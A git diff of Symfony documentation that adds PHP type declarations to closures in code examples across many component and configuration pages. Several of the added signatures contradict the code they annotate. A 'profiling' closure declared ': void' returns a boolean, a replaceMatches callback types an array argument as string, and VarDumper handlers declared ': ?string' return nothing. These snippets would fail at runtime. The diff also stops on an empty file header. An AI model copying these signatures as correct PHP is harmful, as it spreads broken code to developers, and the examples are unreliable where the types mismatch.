                 if ('http://' !== substr($value, 0, 7)) {
                     $value = 'http://'.$value;
                 }
@@ -433,7 +433,7 @@ if you need to use other options during normalization::
         public function configureOptions(OptionsResolver $resolver)
         {
             // ...
-            $resolver->setNormalizer('host', function (Options $options, $value) {
+            $resolver->setNormalizer('host', function (Options $options, string $value): string {
                 if ('http://' !== substr($value, 0, 7) && 'https://' !== substr($value, 0, 8)) {
                     if ('ssl' === $options['encryption']) {
                         $value = 'https://'.$value;
@@ -475,7 +475,7 @@ these options, you can return the desired default value::
             // ...
             $resolver->setDefault('encryption', null);
 
-            $resolver->setDefault('port', function (Options $options) {
+            $resolver->setDefault('port', function (Options $options): int {
                 if ('ssl' === $options['encryption']) {
                     return 465;
                 }
@@ -518,7 +518,7 @@ the closure::
         {
             parent::configureOptions($resolver);
 
-            $resolver->setDefault('host', function (Options $options, $previousValue) {
+            $resolver->setDefault('host', function (Options $options, string $previousValue): string {
                 if ('ssl' === $options['encryption']) {
                     return 'secure.example.org';
                 }
@@ -654,7 +654,7 @@ default value::
 
         public function configureOptions(OptionsResolver $resolver)
         {
-            $resolver->setDefault('spool', function (OptionsResolver $spoolResolver) {
+            $resolver->setDefault('spool', function (OptionsResolver $spoolResolver): void {
                 $spoolResolver->setDefaults([
                     'type' => 'file',
                     'path' => '/path/to/spool',
@@ -690,7 +690,7 @@ to the closure to access to them::
         public function configureOptions(OptionsResolver $resolver)
         {
             $resolver->setDefault('sandbox', false);
-            $resolver->setDefault('spool', function (OptionsResolver $spoolResolver, Options $parent) {
+            $resolver->setDefault('spool', function (OptionsResolver $spoolResolver, Options $parent): void {
                 $spoolResolver->setDefaults([
                     'type' => $parent['sandbox'] ? 'memory' : 'file',
                     // ...
@@ -713,13 +713,13 @@ In same way, parent options can access to the nested options as normal arrays::
 
         public function configureOptions(OptionsResolver $resolver)
         {
-            $resolver->setDefault('spool', function (OptionsResolver $spoolResolver) {
+            $resolver->setDefault('spool', function (OptionsResolver $spoolResolver): void {
                 $spoolResolver->setDefaults([
                     'type' => 'file',
                     // ...
                 ]);
             });
-            $resolver->setDefault('profiling', function (Options $options) {
+            $resolver->setDefault('profiling', function (Options $options): void {
                 return 'file' === $options['spool']['type'];
             });
         }
@@ -740,7 +740,7 @@ with ``host``, ``database``, ``user`` and ``password`` each.
 
 The best way to implement this is to define the ``connections`` option as prototype::
 
-    $resolver->setDefault('connections', function (OptionsResolver $connResolver) {
+    $resolver->setDefault('connections', function (OptionsResolver $connResolver): void {
         $connResolver
             ->setPrototype(true)
             ->setRequired(['host', 'database'])
@@ -820,7 +820,7 @@ the option::
         ->setDefault('encryption', null)
         ->setDefault('port', null)
         ->setAllowedTypes('port', ['null', 'int'])
-        ->setDeprecated('port', 'acme/package', '1.2', function (Options $options, $value) {
+        ->setDeprecated('port', 'acme/package', '1.2', function (Options $options, ?int $value): string {
             if (null === $value) {
                 return 'Passing "null" to option "port" is deprecated, pass an integer instead.';
             }
diff --git a/components/process.rst b/components/process.rst
index fbd0e041582..91c43b096cd 100644
--- a/components/process.rst
+++ b/components/process.rst
@@ -189,7 +189,7 @@ anonymous function to the
     use Symfony\Component\Process\Process;
 
     $process = new Process(['ls', '-lsa']);
-    $process->run(function ($type, $buffer) {
+    $process->run(function ($type, $buffer): void {
         if (Process::ERR === $type) {
             echo 'ERR > '.$buffer;
         } else {
@@ -267,7 +267,7 @@ in the output and its type::
     $process = new Process(['ls', '-lsa']);
     $process->start();
 
-    $process->wait(function ($type, $buffer) {
+    $process->wait(function ($type, $buffer): void {
         if (Process::ERR === $type) {
             echo 'ERR > '.$buffer;
         } else {
@@ -286,7 +286,7 @@ process and checks its output to wait until its fully initialized::
     // ... do other things
 
     // waits until the given anonymous function returns true
-    $process->waitUntil(function ($type, $output) {
+    $process->waitUntil(function ($type, $output): bool {
         return $output === 'Ready. Waiting for commands...';
     });
 
diff --git a/components/runtime.rst b/components/runtime.rst
index 7706602017e..9f6882a8450 100644
--- a/components/runtime.rst
+++ b/components/runtime.rst
@@ -27,7 +27,7 @@ to look like this::
 
     require_once dirname(__DIR__).'/vendor/autoload_runtime.php';
 
-    return function (array $context) {
+    return function (array $context): Kernel {
         return new Kernel($context['APP_ENV'], (bool) $context['APP_DEBUG']);
     };
 
@@ -61,7 +61,7 @@ To make a console application, the bootstrap code would look like::
 
     require_once dirname(__DIR__).'/vendor/autoload_runtime.php';
 
-    return function (array $context) {
+    return function (array $context): Application {
         $kernel = new Kernel($context['APP_ENV'], (bool) $context['APP_DEBUG']);
 
         // returning an "Application" makes the Runtime run a Console
@@ -112,12 +112,13 @@ Resolvable Arguments
 The closure returned from the front-controller may have zero or more arguments::
 
     // public/index.php
+    use Symfony\Bundle\FrameworkBundle\Console\Application;
     use Symfony\Component\Console\Input\InputInterface;
     use Symfony\Component\Console\Output\OutputInterface;
 
     require_once dirname(__DIR__).'/vendor/autoload_runtime.php';
 
-    return function (InputInterface $input, OutputInterface $output) {
+    return function (InputInterface $input, OutputInterface $output): Application {
         // ...
     };
 
@@ -162,7 +163,7 @@ a number of different applications are supported::
 
     require_once dirname(__DIR__).'/vendor/autoload_runtime.php';
 
-    return function () {
+    return static function (): Kernel {
         return new Kernel('prod', false);
     };
 
@@ -181,7 +182,7 @@ The ``SymfonyRuntime`` can handle these applications:
 
         require_once dirname(__DIR__).'/vendor/autoload_runtime.php';
 
-        return function () {
+        return static function (): Response {
             return new Response('Hello world');
         };
 
@@ -195,8 +196,8 @@ The ``SymfonyRuntime`` can handle these applications:
 
         require_once dirname(__DIR__).'/vendor/autoload_runtime.php';
 
-        return function (Command $command) {
-            $command->setCode(function (InputInterface $input, OutputInterface $output) {
+        return static function (Command $command): Command {
+            $command->setCode(static function (InputInterface $input, OutputInterface $output): void {
                 $output->write('Hello World');
             });
 
@@ -214,9 +215,9 @@ The ``SymfonyRuntime`` can handle these applications:
 
         require_once dirname(__DIR__).'/vendor/autoload_runtime.php';
 
-        return function (array $context) {
+        return static function (array $context): Application {
             $command = new Command('hello');
-            $command->setCode(function (InputInterface $input, OutputInterface $output) {
+            $command->setCode(static function (InputInterface $input, OutputInterface $output): void {
                 $output->write('Hello World');
             });
 
@@ -239,7 +240,7 @@ applications:
 
         require_once dirname(__DIR__).'/vendor/autoload_runtime.php';
 
-        return function () {
+        return static function (): RunnerInterface {
             return new class implements RunnerInterface {
                 public function run(): int
                 {
@@ -257,8 +258,8 @@ applications:
         // public/index.php
         require_once dirname(__DIR__).'/vendor/autoload_runtime.php';
 
-        return function () {
-            $app = function() {
+        return static function (): callable {
+            $app = static function(): int {
                 echo 'Hello World';
 
                 return 0;
@@ -273,7 +274,7 @@ applications:
 
         require_once dirname(__DIR__).'/vendor/autoload_runtime.php';
 
-        return function () {
+        return function (): void {
             echo 'Hello world';
         };
 
@@ -393,6 +394,7 @@ However, a ReactPHP application will need some special logic to *run*. That logi
 is added in a new class implementing :class:`Symfony\\Component\\Runtime\\RunnerInterface`::
 
     use Psr\Http\Message\ServerRequestInterface;
+    use Psr\Http\Message\ResponseInterface;
     use Psr\Http\Server\RequestHandlerInterface;
     use React\EventLoop\Factory as ReactFactory;
     use React\Http\Server as ReactHttpServer;
@@ -415,7 +417,7 @@ is added in a new class implementing :class:`Symfony\\Component\\Runtime\\Runner
             // configure ReactPHP to correctly handle the PSR-15 application
             $server = new ReactHttpServer(
                 $loop,
-                function (ServerRequestInterface $request) use ($application) {
+                function (ServerRequestInterface $request) use ($application): ResponseInterface {
                     return $application->handle($request);
                 }
             );
@@ -462,7 +464,7 @@ The end user will now be able to create front controller like::
 
     require_once dirname(__DIR__).'/vendor/autoload_runtime.php';
 
-    return function (array $context) {
+    return function (array $context): SomeCustomPsr15Application {
         return new SomeCustomPsr15Application();
     };
 
diff --git a/components/serializer.rst b/components/serializer.rst
index e08bd5c1f07..352f81b527d 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -723,7 +723,7 @@ When serializing, you can set a callback to format a specific object property::
     $encoder = new JsonEncoder();
 
     // all callback parameters are optional (you can omit the ones you don't use)
-    $dateCallback = function ($innerObject, $outerObject, string $attributeName, string $format = null, array $context = []) {
+    $dateCallback = function (object $innerObject, object $outerObject, string $attributeName, string $format = null, array $context = []): string {
         return $innerObject instanceof \DateTime ? $innerObject->format(\DateTime::ISO8601) : '';
     };
 
@@ -1381,7 +1381,7 @@ having unique identifiers::
 
     $encoder = new JsonEncoder();
     $defaultContext = [
-        AbstractNormalizer::CIRCULAR_REFERENCE_HANDLER => function ($object, $format, $context) {
+        AbstractNormalizer::CIRCULAR_REFERENCE_HANDLER => function (object $object, string $format, array $context): string {
             return $object->getName();
         },
     ];
@@ -1519,7 +1519,7 @@ having unique identifiers::
     $classMetadataFactory = new ClassMetadataFactory(new AnnotationLoader(new AnnotationReader()));
 
     // all callback parameters are optional (you can omit the ones you don't use)
-    $maxDepthHandler = function ($innerObject, $outerObject, string $attributeName, string $format = null, array $context = []) {
+    $maxDepthHandler = function (object $innerObject, object $outerObject, string $attributeName, string $format = null, array $context = []): string {
         return '/foos/'.$innerObject->id;
     };
 
diff --git a/components/string.rst b/components/string.rst
index d294cdacd31..bea4705ff05 100644
--- a/components/string.rst
+++ b/components/string.rst
@@ -352,7 +352,7 @@ Methods to Search and Replace
     // replaces all occurrences of the given regular expression
     u('(+1) 206-555-0100')->replaceMatches('/[^A-Za-z0-9]++/', ''); // '12065550100'
     // you can pass a callable as the second argument to perform advanced replacements
-    u('123')->replaceMatches('/\d/', function ($match) {
+    u('123')->replaceMatches('/\d/', function (string $match): string {
         return '['.$match[0].']';
     }); // result = '[1][2][3]'
 
@@ -461,7 +461,7 @@ class that allows to store a string whose value is only generated when you need
 
     use Symfony\Component\String\LazyString;
 
-    $lazyString = LazyString::fromCallable(function () {
+    $lazyString = LazyString::fromCallable(function (): string {
         // Compute the string value...
         $value = ...;
 
@@ -518,7 +518,7 @@ that only includes safe ASCII characters::
     // $slug = '10-percent-or-5-euro'
 
     // for more dynamic substitutions, pass a PHP closure instead of an array
-    $slugger = new AsciiSlugger('en', function ($string, $locale) {
+    $slugger = new AsciiSlugger('en', function (string $string, string $locale): string {
         return str_replace('❤️', 'love', $string);
     });
 
diff --git a/components/var_dumper.rst b/components/var_dumper.rst
index ccde974b9e5..face02f8484 100644
--- a/components/var_dumper.rst
+++ b/components/var_dumper.rst
@@ -169,7 +169,7 @@ Outside a Symfony application, use the :class:`Symfony\\Component\\VarDumper\\Du
         'source' => new SourceContextProvider(),
     ]);
 
-    VarDumper::setHandler(function ($var) use ($cloner, $dumper) {
+    VarDumper::setHandler(function (mixed $var) use ($cloner, $dumper): ?string {
         $dumper->dump($cloner->cloneVar($var));
     });
 
@@ -481,7 +481,7 @@ like this::
     use Symfony\Component\VarDumper\Dumper\HtmlDumper;
     use Symfony\Component\VarDumper\VarDumper;
 
-    VarDumper::setHandler(function ($var) {
+    VarDumper::setHandler(function (mixed $var): ?string {
         $cloner = new VarCloner();
         $dumper = 'cli' === PHP_SAPI ? new CliDumper() : new HtmlDumper();
 
@@ -599,7 +599,7 @@ For example, to get a dump as a string in a variable, you can do::
 
     $dumper->dump(
         $cloner->cloneVar($variable),
-        function ($line, $depth) use (&$output) {
+        function (int $line, int $depth) use (&$output): void {
             // A negative depth means "end of dump"
             if ($depth >= 0) {
                 // Adds a two spaces indentation to the line
diff --git a/configuration.rst b/configuration.rst
index b7ccac2ece7..72b567f5a62 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -489,7 +489,7 @@ files directly in the ``config/packages/`` directory.
             use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator;
             use Symfony\Config\WebpackEncoreConfig;
 
-            return static function (WebpackEncoreConfig $webpackEncore, ContainerConfigurator $container) {
+            return static function (WebpackEncoreConfig $webpackEncore, ContainerConfigurator $container): void {
                 $webpackEncore
                     ->outputPath('%kernel.project_dir%/public/build')
                     ->strictMode(true)
@@ -1090,7 +1090,7 @@ namespace ``Symfony\Config``::
     // config/packages/security.php
     use Symfony\Config\SecurityConfig;
 
-    return static function (SecurityConfig $security) {
+    return static function (SecurityConfig $security): void {
         $security->firewall('main')
             ->pattern('^/*')
             ->lazy(true)
diff --git a/configuration/front_controllers_and_kernel.rst b/configuration/front_controllers_and_kernel.rst
index 2da948dbe55..b55f66afc33 100644
--- a/configuration/front_controllers_and_kernel.rst
+++ b/configuration/front_controllers_and_kernel.rst
@@ -186,7 +186,7 @@ parameter used, for example, to turn Twig's debug mode on:
         // config/packages/twig.php
         use Symfony\Config\TwigConfig;
 
-        return static function (TwigConfig $twig) {
+        return static function (TwigConfig $twig): void {
             // ...
             $twig->debug('%kernel.debug%');
         };
diff --git a/configuration/multiple_kernels.rst b/configuration/multiple_kernels.rst
index 9464fcf39f7..edfcb371864 100644
--- a/configuration/multiple_kernels.rst
+++ b/configuration/multiple_kernels.rst
@@ -244,7 +244,7 @@ application::
     use Shared\Kernel;
     // ...
 
-    return function (array $context) {
+    return function (array $context): Kernel {
         return new Kernel($context['APP_ENV'], (bool) $context['APP_DEBUG'], $context['APP_ID']);
     };
 
@@ -259,7 +259,7 @@ the application ID to run under CLI context::
     use Shared\Kernel;
     // ...
 
-    return function (InputInterface $input, array $context) {
+    return function (InputInterface $input, array $context): Application {
         $kernel = new Kernel($context['APP_ENV'], (bool) $context['APP_DEBUG'], $input->getParameterOption(['--id', '-i'], $context['APP_ID']));
 
         $application = new Application($kernel);
diff --git a/configuration/override_dir_structure.rst b/configuration/override_dir_structure.rst
index 4fb5524a2aa..e0d27a52b8c 100644
--- a/configuration/override_dir_structure.rst
+++ b/configuration/override_dir_structure.rst
@@ -190,7 +190,7 @@ for multiple directories):
         // config/packages/twig.php
         use Symfony\Config\TwigConfig;
 
-        return static function (TwigConfig $twig) {
+        return static function (TwigConfig $twig): void {
             $twig->defaultPath('%kernel.project_dir%/resources/views');
         };
 
diff --git a/configuration/secrets.rst b/configuration/secrets.rst
index bd52ea0895a..8afb6d02683 100644
--- a/configuration/secrets.rst
+++ b/configuration/secrets.rst
@@ -139,7 +139,7 @@ If you stored a ``DATABASE_PASSWORD`` secret, you can reference it by:
         // config/packages/doctrine.php
         use Symfony\Config\DoctrineConfig;
 
-        return static function (DoctrineConfig $doctrine) {
+        return static function (DoctrineConfig $doctrine): void {
             $doctrine->dbal()
                 ->connection('default')
                     ->password(env('DATABASE_PASSWORD'))
diff --git a/console/input.rst b/console/input.rst
index 2815fe1b543..2e6d9a1a438 100644
--- a/console/input.rst
+++ b/console/input.rst
@@ -337,7 +337,7 @@ To achieve this, use the 5th argument of ``addArgument()``/``addOption``::
                     InputArgument::IS_ARRAY,
                     'Who do you want to greet (separate multiple names with a space)?',
                     null,
-                    function (CompletionInput $input) {
+                    function (CompletionInput $input): array {
                         // the value the user already typed, e.g. when typing "app:greet Fa" before
                         // pressing Tab, this will contain "Fa"
                         $currentValue = $input->getCompletionValue();
diff --git a/console/lazy_commands.rst b/console/lazy_commands.rst
index 6d1f245eb75..f76e3fc29a5 100644
--- a/console/lazy_commands.rst
+++ b/console/lazy_commands.rst
@@ -15,10 +15,11 @@ which will be responsible for returning ``Command`` instances::
 
     use App\Command\HeavyCommand;
     use Symfony\Component\Console\Application;
+    use Symfony\Component\Console\Command\Command;
     use Symfony\Component\Console\CommandLoader\FactoryCommandLoader;
 
     $commandLoader = new FactoryCommandLoader([
-        'app:heavy' => function () { return new HeavyCommand(); },
+        'app:heavy' => function (): Command { return new HeavyCommand(); },
     ]);
 
     $application = new Application();
@@ -45,10 +46,11 @@ The :class:`Symfony\\Component\\Console\\CommandLoader\\FactoryCommandLoader`
 class provides a way of getting commands lazily loaded as it takes an
 array of ``Command`` factories as its only constructor argument::
 
+    use Symfony\Component\Console\Command\Command;
     use Symfony\Component\Console\CommandLoader\FactoryCommandLoader;
 
     $commandLoader = new FactoryCommandLoader([
-        'app:foo' => function () { return new FooCommand(); },
+        'app:foo' => function (): Command { return new FooCommand(); },
         'app:bar' => [BarCommand::class, 'create'],
     ]);
 
diff --git a/console/style.rst b/console/style.rst
index ec641440186..3b3af53b678 100644
--- a/console/style.rst
+++ b/console/style.rst
@@ -275,7 +275,7 @@ User Input Methods
     In case you need to validate the given value, pass a callback validator as
     the third argument::
 
-        $io->ask('Number of workers to start', '1', function ($number) {
+        $io->ask('Number of workers to start', '1', function (string $number): int {
             if (!is_numeric($number)) {
                 throw new \RuntimeException('You must type a number.');
             }
@@ -292,7 +292,7 @@ User Input Methods
     In case you need to validate the given value, pass a callback validator as
     the second argument::
 
-        $io->askHidden('What is your password?', function ($password) {
+        $io->askHidden('What is your password?', function (string $password): string {
             if (empty($password)) {
                 throw new \RuntimeException('Password cannot be empty.');
             }
diff --git a/controller/error_pages.rst b/controller/error_pages.rst
index d28c51cce99..8493d65c2f4 100644
--- a/controller/error_pages.rst
+++ b/controller/error_pages.rst
@@ -178,7 +178,7 @@ automatically when installing ``symfony/framework-bundle``):
         // config/routes/framework.php
         use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
 
-        return function (RoutingConfigurator $routes) {
+        return function (RoutingConfigurator $routes): void {
             if ('dev' === $routes->env()) {
                 $routes->import('@FrameworkBundle/Resources/config/routing/errors.xml')
                     ->prefix('/_error')
diff --git a/controller/service.rst b/controller/service.rst
index 5b629ca978e..33aef36d64d 100644
--- a/controller/service.rst
+++ b/controller/service.rst
@@ -100,7 +100,7 @@ a service like: ``App\Controller\HelloController::index``:
         use App\Controller\HelloController;
         use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
 
-        return function (RoutingConfigurator $routes) {
+        return function (RoutingConfigurator $routes): void {
             $routes->add('hello', '/hello')
                 ->controller([HelloController::class, 'index'])
                 ->methods(['GET'])
diff --git a/create_framework/event_dispatcher.rst b/create_framework/event_dispatcher.rst
index 63457fe8462..e4921097a33 100644
--- a/create_framework/event_dispatcher.rst
+++ b/create_framework/event_dispatcher.rst
@@ -117,7 +117,7 @@ the registration of a listener for the ``response`` event::
     use Symfony\Component\EventDispatcher\EventDispatcher;
 
     $dispatcher = new EventDispatcher();
-    $dispatcher->addListener('response', function (Simplex\ResponseEvent $event) {
+    $dispatcher->addListener('response', function (Simplex\ResponseEvent $event): void {
         $response = $event->getResponse();
 
         if ($response->isRedirection()
@@ -156,7 +156,7 @@ So far so good, but let's add another listener on the same event. Let's say
 that we want to set the ``Content-Length`` of the Response if it is not already
 set::
 
-    $dispatcher->addListener('response', function (Simplex\ResponseEvent $event) {
+    $dispatcher->addListener('response', function (Simplex\ResponseEvent $event): void {
         $response = $event->getResponse();
         $headers = $response->headers;
 
@@ -174,7 +174,7 @@ a positive number; negative numbers can be used for low priority listeners.
 Here, we want the ``Content-Length`` listener to be executed last, so change
 the priority to ``-255``::
 
-    $dispatcher->addListener('response', function (Simplex\ResponseEvent $event) {
+    $dispatcher->addListener('response', function (Simplex\ResponseEvent $event): void {
         $response = $event->getResponse();
         $headers = $response->headers;
 
diff --git a/create_framework/http_kernel_httpkernel_class.rst b/create_framework/http_kernel_httpkernel_class.rst
index 0f4e565b084..fdb2a0b3f5d 100644
--- a/create_framework/http_kernel_httpkernel_class.rst
+++ b/create_framework/http_kernel_httpkernel_class.rst
@@ -69,7 +69,7 @@ Our code is now much more concise and surprisingly more robust and more
 powerful than ever. For instance, use the built-in ``ErrorListener`` to
 make your error management configurable::
 
-    $errorHandler = function (Symfony\Component\ErrorHandler\Exception\FlattenException $exception) {
+    $errorHandler = function (Symfony\Component\ErrorHandler\Exception\FlattenException $exception): Response {
         $msg = 'Something went wrong! ('.$exception->getMessage().')';
 
         return new Response($msg, $exception->getStatusCode());
diff --git a/create_framework/templating.rst b/create_framework/templating.rst
index 6fca67d84a1..908a17f2a8e 100644
--- a/create_framework/templating.rst
+++ b/create_framework/templating.rst
@@ -74,7 +74,7 @@ can still use the ``render_template()`` to render a template::
 
     $routes->add('hello', new Routing\Route('/hello/{name}', [
         'name' => 'World',
-        '_controller' => function ($request) {
+        '_controller' => function (Request $request): string {
             return render_template($request);
         }
     ]));
@@ -84,7 +84,7 @@ you can even pass additional arguments to the template::
 
     $routes->add('hello', new Routing\Route('/hello/{name}', [
         'name' => 'World',
-        '_controller' => function ($request) {
+        '_controller' => function (Request $request): Response {
             // $foo will be available in the template
             $request->attributes->set('foo', 'bar');
 
@@ -157,7 +157,7 @@ framework does not need to be modified in any way, create a new
     $routes = new Routing\RouteCollection();
     $routes->add('leap_year', new Routing\Route('/is_leap_year/{year}', [
         'year' => null,
-        '_controller' => function ($request) {
+        '_controller' => function (Request $request): Response {
             if (is_leap_year($request->attributes->get('year'))) {
                 return new Response('Yep, this is a leap year!');
             }
diff --git a/doctrine/custom_dql_functions.rst b/doctrine/custom_dql_functions.rst
index f615ad1fcd5..1b3aa4aa185 100644
--- a/doctrine/custom_dql_functions.rst
+++ b/doctrine/custom_dql_functions.rst
@@ -56,7 +56,7 @@ In Symfony, you can register your custom DQL functions as follows:
         use App\DQL\StringFunction;
         use Symfony\Config\DoctrineConfig;
 
-        return static function (DoctrineConfig $doctrine) {
+        return static function (DoctrineConfig $doctrine): void {
             $defaultDql = $doctrine->orm()
                 ->entityManager('default')
                     // ...
@@ -123,7 +123,7 @@ In Symfony, you can register your custom DQL functions as follows:
             use App\DQL\DatetimeFunction;
             use Symfony\Config\DoctrineConfig;
 
-            return static function (DoctrineConfig $doctrine) {
+            return static function (DoctrineConfig $doctrine): void {
                 $doctrine->orm()
                     // ...
                     ->entityManager('example_manager')
diff --git a/doctrine/dbal.rst b/doctrine/dbal.rst
index 544428a9691..a400cee0324 100644
--- a/doctrine/dbal.rst
+++ b/doctrine/dbal.rst
@@ -104,7 +104,7 @@ mapping types, read Doctrine's `Custom Mapping Types`_ section of their document
         use App\Type\CustomSecond;
         use Symfony\Config\DoctrineConfig;
 
-        return static function (DoctrineConfig $doctrine) {
+        return static function (DoctrineConfig $doctrine): void {
             $dbal = $doctrine->dbal();
             $dbal->type('custom_first')->class(CustomFirst::class);
             $dbal->type('custom_second')->class(CustomSecond::class);
@@ -153,7 +153,7 @@ mapping type:
         // config/packages/doctrine.php
         use Symfony\Config\DoctrineConfig;
 
-        return static function (DoctrineConfig $doctrine) {
+        return static function (DoctrineConfig $doctrine): void {
             $dbalDefault = $doctrine->dbal()
                 ->connection('default');
             $dbalDefault->mappingType('enum', 'string');
diff --git a/doctrine/multiple_entity_managers.rst b/doctrine/multiple_entity_managers.rst
index 081239bcd9f..85ac329f411 100644
--- a/doctrine/multiple_entity_managers.rst
+++ b/doctrine/multiple_entity_managers.rst
@@ -111,7 +111,7 @@ The following configuration code shows how you can configure two entity managers
         // config/packages/doctrine.php
         use Symfony\Config\DoctrineConfig;
 
-        return static function (DoctrineConfig $doctrine) {
+        return static function (DoctrineConfig $doctrine): void {
             // Connections:
             $doctrine->dbal()
                 ->connection('default')
@@ -120,7 +120,7 @@ The following configuration code shows how you can configure two entity managers
                 ->connection('customer')
                 ->url(env('CUSTOMER_DATABASE_URL')->resolve());
             $doctrine->dbal()->defaultConnection('default');
-            
+
             // Entity Managers:
             $doctrine->orm()->defaultEntityManager('default');
             $defaultEntityManager = $doctrine->orm()->entityManager('default');
diff --git a/doctrine/resolve_target_entity.rst b/doctrine/resolve_target_entity.rst
index 81de0c75ff0..fcb977fc47f 100644
--- a/doctrine/resolve_target_entity.rst
+++ b/doctrine/resolve_target_entity.rst
@@ -134,7 +134,7 @@ about the replacement:
         use App\Model\InvoiceSubjectInterface;
         use Symfony\Config\DoctrineConfig;
 
-        return static function (DoctrineConfig $doctrine) {
+        return static function (DoctrineConfig $doctrine): void {
             $orm = $doctrine->orm();
             // ...
             $orm->resolveTargetEntity(InvoiceSubjectInterface::class, Customer::class);
diff --git a/form/bootstrap4.rst b/form/bootstrap4.rst
index bbcd0819369..eef016aa58a 100644
--- a/form/bootstrap4.rst
+++ b/form/bootstrap4.rst
@@ -57,7 +57,7 @@ configuration:
         // config/packages/twig.php
         use Symfony\Config\TwigConfig;
 
-        return static function (TwigConfig $twig) {
+        return static function (TwigConfig $twig): void {
             $twig->formThemes(['bootstrap_4_layout.html.twig']);
 
             // ...
diff --git a/form/create_custom_field_type.rst b/form/create_custom_field_type.rst
index 6729e0974ad..0d200114ef4 100644
--- a/form/create_custom_field_type.rst
+++ b/form/create_custom_field_type.rst
@@ -395,7 +395,7 @@ rest of files):
         // config/packages/twig.php
         use Symfony\Config\TwigConfig;
 
-        return static function (TwigConfig $twig) {
+        return static function (TwigConfig $twig): void {
             $twig->formThemes([
                 'form/custom_types.html.twig',
                 '...',
diff --git a/form/data_based_validation.rst b/form/data_based_validation.rst
index 400b4f3ff9a..b01bea10b16 100644
--- a/form/data_based_validation.rst
+++ b/form/data_based_validation.rst
@@ -32,7 +32,7 @@ example).  You can also define whole logic inline by using a ``Closure``::
     public function configureOptions(OptionsResolver $resolver): void
     {
         $resolver->setDefaults([
-            'validation_groups' => function (FormInterface $form) {
+            'validation_groups' => function (FormInterface $form): array {
                 $data = $form->getData();
 
                 if (Client::TYPE_PERSON == $data->getType()) {
@@ -56,7 +56,7 @@ of the entity as well you have to adjust the option as follows::
     public function configureOptions(OptionsResolver $resolver): void
     {
         $resolver->setDefaults([
-            'validation_groups' => function (FormInterface $form) {
+            'validation_groups' => function (FormInterface $form): array {
                 $data = $form->getData();
 
                 if (Client::TYPE_PERSON == $data->getType()) {
diff --git a/form/dynamic_form_modification.rst b/form/dynamic_form_modification.rst
index 0911a40f999..77772b24c5f 100644
--- a/form/dynamic_form_modification.rst
+++ b/form/dynamic_form_modification.rst
@@ -93,7 +93,7 @@ creating that particular field is delegated to an event listener::
         {
             $builder->add('price');
 
-            $builder->addEventListener(FormEvents::PRE_SET_DATA, function (FormEvent $event) {
+            $builder->addEventListener(FormEvents::PRE_SET_DATA, function (FormEvent $event): void {
                 // ... adding the name field if needed
             });
         }
@@ -109,7 +109,7 @@ the event listener might look like the following::
     public function buildForm(FormBuilderInterface $builder, array $options): void
     {
         // ...
-        $builder->addEventListener(FormEvents::PRE_SET_DATA, function (FormEvent $event) {
+        $builder->addEventListener(FormEvents::PRE_SET_DATA, function (FormEvent $event): void {
             $product = $event->getData();
             $form = $event->getForm();
 
@@ -220,7 +220,7 @@ Using an event listener, your form might look like this::
                 ->add('subject', TextType::class)
                 ->add('body', TextareaType::class)
             ;
-            $builder->addEventListener(FormEvents::PRE_SET_DATA, function (FormEvent $event) {
+            $builder->addEventListener(FormEvents::PRE_SET_DATA, function (FormEvent $event): void {
                 // ... add a choice list of friends of the current application user
             });
         }
@@ -282,7 +282,7 @@ security helper to fill in the listener logic::
                 );
             }
 
-            $builder->addEventListener(FormEvents::PRE_SET_DATA, function (FormEvent $event) use ($user) {
+            $builder->addEventListener(FormEvents::PRE_SET_DATA, function (FormEvent $event) use ($user): void {
                 if (null !== $event->getData()->getFriend()) {
                     // we don't need to add the friend field because
                     // the message will be addressed to a fixed friend
@@ -294,7 +294,7 @@ security helper to fill in the listener logic::
                 $formOptions = [
                     'class' => User::class,
                     'choice_label' => 'fullName',
-                    'query_builder' => function (UserRepository $userRepository) use ($user) {
+                    'query_builder' => function (UserRepository $userRepository) use ($user): void {
                         // call a method on your repository that returns the query builder
                         // return $userRepository->createFriendsQueryBuilder($user);
                     },
@@ -392,7 +392,7 @@ sport like this::
 
             $builder->addEventListener(
                 FormEvents::PRE_SET_DATA,
-                function (FormEvent $event) {
+                function (FormEvent $event): void {
                     $form = $event->getForm();
 
                     // this would be your entity, i.e. SportMeetup
@@ -455,7 +455,7 @@ The type would now look like::
                 ])
             ;
 
-            $formModifier = function (FormInterface $form, Sport $sport = null) {
+            $formModifier = function (FormInterface $form, Sport $sport = null): void {
                 $positions = null === $sport ? [] : $sport->getAvailablePositions();
 
                 $form->add('position', EntityType::class, [
@@ -467,7 +467,7 @@ The type would now look like::
 
             $builder->addEventListener(
                 FormEvents::PRE_SET_DATA,
-                function (FormEvent $event) use ($formModifier) {
+                function (FormEvent $event) use ($formModifier): void {
                     // this would be your entity, i.e. SportMeetup
                     $data = $event->getData();
 
@@ -477,7 +477,7 @@ The type would now look like::
 
             $builder->get('sport')->addEventListener(
                 FormEvents::POST_SUBMIT,
-                function (FormEvent $event) use ($formModifier) {
+                function (FormEvent $event) use ($formModifier): void {
                     // It's important here to fetch $event->getForm()->getData(), as
                     // $event->getData() will get you the client data (that is, the ID)
                     $sport = $event->getForm()->getData();
diff --git a/form/events.rst b/form/events.rst
index 6114cbd0c9c..a238ecec17d 100644
--- a/form/events.rst
+++ b/form/events.rst
@@ -16,7 +16,7 @@ register an event listener to the ``FormEvents::PRE_SUBMIT`` event as follows::
     use Symfony\Component\Form\FormEvent;
     use Symfony\Component\Form\FormEvents;
 
-    $listener = function (FormEvent $event) {
+    $listener = function (FormEvent $event): void {
         // ...
     };
 
diff --git a/form/form_themes.rst b/form/form_themes.rst
index a2a778988dd..2346e7961cd 100644
--- a/form/form_themes.rst
+++ b/form/form_themes.rst
@@ -89,7 +89,7 @@ want to use another theme for all the forms of your app, configure it in the
         // config/packages/twig.php
         use Symfony\Config\TwigConfig;
 
-        return static function (TwigConfig $twig) {
+        return static function (TwigConfig $twig): void {
             $twig->formThemes([
                 'bootstrap_5_horizontal_layout.html.twig',
             ]);
@@ -514,7 +514,7 @@ you want to apply the theme globally to all forms, define the
         // config/packages/twig.php
         use Symfony\Config\TwigConfig;
 
-        return static function (TwigConfig $twig) {
+        return static function (TwigConfig $twig): void {
             $twig->formThemes([
                 'form/my_theme.html.twig',
             ]);
diff --git a/forms.rst b/forms.rst
index 9a673dc4fc6..169d9f8220d 100644
--- a/forms.rst
+++ b/forms.rst
